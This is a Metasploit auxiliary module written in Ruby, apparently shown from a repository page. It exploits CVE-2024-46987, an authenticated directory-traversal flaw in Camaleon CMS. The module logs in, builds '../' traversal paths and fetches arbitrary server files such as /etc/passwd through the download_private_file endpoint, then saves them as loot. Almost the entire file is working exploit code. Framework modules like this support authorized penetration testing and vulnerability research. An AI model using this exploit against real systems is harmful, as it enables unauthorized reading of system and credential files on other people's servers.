Path: blob/master/modules/auxiliary/gather/camaleon_download_private_file.rb
59959 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987',14'Description' => %q{15Exploits CVE-2024-46987, an authenticated directory traversal16vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.017},18'Author' => [19'Peter Stockli', # Vulnerability Disclosure20'Goultarde', # Python Script21'bootstrapbool', # Metasploit Module22],23'License' => MSF_LICENSE,24'Privileged' => true,25'Platform' => 'linux',26'References' => [27['CVE', '2024-46987'],28[29'URL', # Advisory30'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/'31],32[33'URL', # Python Script34'https://github.com/Goultarde/CVE-2024-46987'35],36],37'DisclosureDate' => '2024-08-08',38'Notes' => {39'Stability' => [CRASH_SAFE],40'Reliability' => [REPEATABLE_SESSION],41'SideEffects' => [IOC_IN_LOGS]42}43)44)45register_options(46[47OptString.new('USERNAME', [true, 'Valid username', 'admin']),48OptString.new('PASSWORD', [true, 'Valid password', 'admin123']),49OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),50OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']),51OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]),52OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true])53]54)55end5657def build_traversal_path(filepath, depth)58if depth == 059return filepath60end6162# Remove C:\ prefix if present (path traversal doesn't work with drive letters)63normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')6465traversal = '../' * depth6667if normalized_path[0] == '/'68return "#{traversal[0..-2]}#{normalized_path}"69end7071"#{traversal}#{normalized_path}"72end7374def get_token(login_uri)75res = send_request_cgi({ 'uri' => login_uri, 'keep_cookies' => true })7677return nil unless res && res.code == 2007879match = res.body.match(/name="authenticity_token" value="([^"]+)"/)8081return match ? match[1] : nil82end8384def authenticate(username, password)85login_uri = normalize_uri(target_uri.path, 'admin/login')8687vprint_status("Retrieving token from #{login_uri}")8889token = get_token(login_uri)9091if token.nil? || cookie_jar.empty?92fail_with(Failure::UnexpectedReply, 'Failed to retrieve token')93end9495vprint_status("Retrieved token #{token}")96vprint_status("Authenticating to #{login_uri}")9798res = send_request_cgi({99'method' => 'POST',100'uri' => login_uri,101'keep_cookies' => true,102'vars_post' => {103'authenticity_token' => token,104'user[username]' => username,105'user[password]' => password106}107})108109unless res && res.code == 302110fail_with(Failure::NoAccess, 'Authentication failed')111end112113res = send_request_cgi(114'uri' => normalize_uri(target_uri.path, 'admin/dashboard')115)116117if res.body.downcase.include?('logout')118vprint_status('Authentication succeeded')119return120end121122fail_with(Failure::NoAccess, 'Authentication failed')123end124125def get_version126vprint_status('Attempting to get build number')127128res = send_request_cgi(129'uri' => normalize_uri(target_uri.path, 'admin/dashboard')130)131132return nil unless res && res.code == 200133134html = res.get_html_document135136version_div = html.css('div.pull-right').find do |div|137div.at_css('b') && div.at_css('b').text.strip == 'Version'138end139140if version_div141match = version_div.text.strip.match(/Version\s*(\S+)/)142return match[1] if match143end144end145146def vuln_version?(version)147print_status("Detected build version is #{version}")148149if version == '2.9.0' || Rex::Version.new(version) < Rex::Version.new('2.8.1')150print_status('Version is vulnerable')151return true152end153154print_warning('Version is not vulnerable')155false156end157158def get_file(filepath)159filepath = build_traversal_path(filepath, datastore['DEPTH'])160161lfi_uri = normalize_uri(162target_uri.path,163'admin/media/download_private_file'164)165166vprint_status("Attempting to retrieve file #{filepath} from #{lfi_uri}")167168res = send_request_cgi({169'uri' => lfi_uri,170'vars_get' => {171'file' => filepath172},173'encode_params' => false174})175176if res177if res.code == 404178return nil179end180181if res.body.downcase.include?('invalid file')182return nil183end184185vprint_good('Successfully retrieved file')186return res.body187end188end189190def run191cookie_jar.clear192193authenticate(datastore['USERNAME'], datastore['PASSWORD'])194195res = get_file(datastore['FILEPATH'])196197if res.nil? || res == false || !res.is_a?(String)198fail_with(Failure::PayloadFailed, 'Failed to obtain file')199end200201if datastore['STORE_LOOT']202path = store_loot(203'camaleon.traversal',204'text/plain',205datastore['RHOST'],206res,207datastore['FILEPATH']208)209print_good("#{datastore['FILEPATH']} stored as '#{path}'")210end211212print_line213print_line(res)214end215216def check217cookie_jar.clear218219authenticate(datastore['USERNAME'], datastore['PASSWORD'])220221version = get_version222223if version.nil?224return Exploit::CheckCode::Unknown('Failed to get build version')225elsif vuln_version?(version) != true226return Exploit::CheckCode::Safe227end228229res = get_file(datastore['FILEPATH'])230231if res.nil? || res == false || !res.is_a?(String)232print_error('Failed to obtain file')233return Exploit::CheckCode::Appears234end235236Exploit::CheckCode::Vulnerable237end238end239240241